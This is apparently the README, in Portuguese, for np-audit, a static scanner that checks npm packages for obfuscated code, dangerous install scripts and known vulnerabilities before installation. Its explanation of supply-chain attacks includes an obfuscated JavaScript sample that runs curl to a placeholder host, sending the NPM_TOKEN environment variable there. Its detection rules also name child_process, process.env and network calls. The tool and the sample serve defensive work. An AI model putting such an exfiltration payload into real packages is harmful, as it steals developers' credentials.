koblers/np-auditAnálise de segurança estática para pacotes npm. Detecta código ofuscado, padrões maliciosos e vulnerabilidades conhecidas antes da instalação.
npm ciZero dependências. Apenas módulos nativos do Node.js. < 100 kB no download.
npx np-audit scan express
npm install -g np-audit
npa scan # scan all deps
npa install # audit then install
alias npm='npa' # use as drop-in replacement
A detecção é dividida em marshallers modulares — cada um detecta um único sinal de ataque:
| Marshaller | O que detecta | Pontuação |
|---|---|---|
eval/dynamic-exec | eval(), new Function(), eval indireto, vm.*, setTimeout com string | 8 |
obfuscator.io | Padrões de nomenclatura de variáveis _0x (saída do obfuscator.io) | 9–80 |
high-entropy-string | Strings longas ou cadeias de concatenação com alta entropia de Shannon | 6 |
hex-escape-density | Sequências de escape densas \xNN e \uXXXX | 5–50 |
fromCharCode | String.fromCharCode com muitos argumentos, grandes arrays de códigos de caracteres decimais | 7 |
encoded-decode | Decodificação Base64/hex (atob, Buffer.from) opcionalmente combinada com eval | 3–8 |
child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 |
hex-array | Grandes números de valores literais hexadecimais 0x | 7–60 |
process-env | Acesso a process.env (sinal de exfiltração de credenciais) | 3 |
network-call | require('https'), fetch(), dns, net, tls | 4 |
filesystem-manipulation | fs.writeFile, chmod, symlink (persistência de backdoor) | 3–4 |
runtime-download | Baixa e executa runtimes externos (Bun, Deno) | 9–50 |
As pontuações escalam com a gravidade — contagens mais altas de indicadores de ofuscação produzem pontuações mais altas. O veredito final é baseado na maior pontuação individual entre todos os marshallers.
Veja CONTRIBUTING.md para saber como escrever marshallers personalizados.
Cada pacote verificado é checado contra bancos de dados de vulnerabilidades conhecidas junto com a análise de código.
Padrão: OSV.dev (nenhuma configuração necessária)
Funciona imediatamente — consulta a API gratuita do OSV.dev para vulnerabilidades conhecidas e avisos de pacotes maliciosos.
Opcional: API do Snyk (dados mais ricos)
# Environment variable
export SNYK_API_TOKEN=your-token-here
# Or via Snyk CLI
snyk auth
Ordem de resolução do token: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| Gravidade | Pontuação | Veredito |
|---|---|---|
| Pacote malicioso | 80 | DANGER |
| 10+ vulnerabilidades | 6 | WARN |
| 5–9 vulnerabilidades | 5 | WARN |
| 1–4 vulnerabilidades | 4 | WARN |
CVEs não maliciosas produzem avisos (warnings), mas nunca bloqueiam a instalação. Apenas pacotes confirmados como maliciosos acionam DANGER.
| Comando | Apelido | Descrição |
|---|---|---|
npa install [package] | npa i | Audita e depois executa npm install |
npa ci | — | Audita e depois executa npm ci |
npa scan [package] | npa s | Apenas verifica, sem instalar |
npa config get | npa c get | Mostrar configuração atual |
npa config set <key> <value> | npa c set | Atualizar um valor de configuração |
npa alias --install | — | Instalar alias do shell |
npa alias --uninstall | — | Remover alias do shell |
Qualquer comando não reconhecido é encaminhado para o npm (por exemplo, npa run test, npa publish).
| Flag | Alias | Funciona com | Descrição |
|---|---|---|---|
--review | -r | install, ci | Modo interativo — escolha quais scripts permitir |
--json | — | install, ci, scan | Saída JSON legível por máquina |
--no-dev | — | install, ci, scan | Pular devDependencies |
--verbose | — | all | Mostrar progresso do download e detalhes extras |
--version | -v | — | Exibir versão e sair |
--help | -h | — | Exibir ajuda e sair |
--reviewnpa install --review
npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] [email protected] postinstall: post-install.js OK
▶ [✗ deny ] [email protected] postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/[email protected] postinstall: install.js WARN (score: 5)
2 allowed 1 denied
A configuração é armazenada em ~/.npmauditor.json (global) e pode ser substituída por projeto com .npmauditor.json.
npa config get # Show current config
npa config set blockScore 6 # Block at score 6+
npa config set skipPackages '["esbuild"]' # Trust specific packages
npa config set skipScopes '["@types"]' # Trust entire scopes
| Chave | Padrão | Descrição |
|---|---|---|
blockScore | 7 | Limiar de pontuação para DANGER (código de saída 1) |
warnScore | 4 | Limiar de pontuação para WARN (código de saída 0) |
registry | https://registry.npmjs.org | URL do registro npm |
timeout | 30000 | Tempo limite de requisição HTTP (ms) |
parallelFetches | 5 | Downloads simultâneos |
skipScopes | [] | Prefixos @scope a pular |
skipPackages | [] | Nomes de pacotes a pular |
silent | false | Suprimir saída quando nenhum problema for encontrado |
scanSelf | true | Verificar scripts de ciclo de vida do próprio projeto |
maxTarballSize | 50MB | Tamanho máximo do tarball descompactado (proteção contra bombas) |
checkVulnerabilities | true | Verificar pacotes contra bancos de dados de CVE |
deepResolve | false | Resolver árvore completa de dependências transitivas |
disabledMarshallers | [] | Nomes dos marshallers a pular durante a verificação |
Você pode desabilitar verificações de detecção específicas adicionando seus nomes a disabledMarshallers:
npa config set disabledMarshallers '["process-env", "network-call"]'
Para ver todos os nomes de marshallers disponíveis e seu status atual:
npa config marshallers
Isso é útil quando um marshaller produz falsos positivos para seu fluxo de trabalho. Marshallers desabilitados são completamente ignorados durante a análise estática de código e as verificações em nível de pacote.
Use npa como um substituto transparente do npm:
npa alias --install # adds: alias npm='npa'
source ~/.zshrc # reload shell
Agora npm install, npm ci verificam automaticamente. Todos os outros comandos npm (npm run, npm test, npm publish) passam inalterados.
npa alias --uninstall # remove the alias
package-lock.json (v1/v2/v3) ou resolver a partir de package.jsonnode_modules)&&/||/;/|, lida com node -e, sh -c, scripts de shellrequire()/import a partir de cada entrada (detecção de ciclos, limite de 50 arquivos / 5 MB)Ataques à cadeia de suprimentos abusam de scripts de ciclo de vida do npm. Quando você executa npm install, qualquer script preinstall/install/postinstall é executado automaticamente. Atacantes escondem cargas maliciosas por trás de ofuscação:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
Incidentes reais:
npa nunca executa scripts. Ele baixa e analisa estaticamente.
| Código | Significado |
|---|---|
0 | Tudo limpo ou apenas avisos |
1 | Um ou mais pacotes bloqueados |
MIT
vscode-autorun | Tarefas do VS Code com runOn: folderOpen (execução automática) | 30 |
known-vulnerability | CVEs conhecidas via API do Snyk ou OSV.dev | 4–6 (WARN), 80 (malicious) |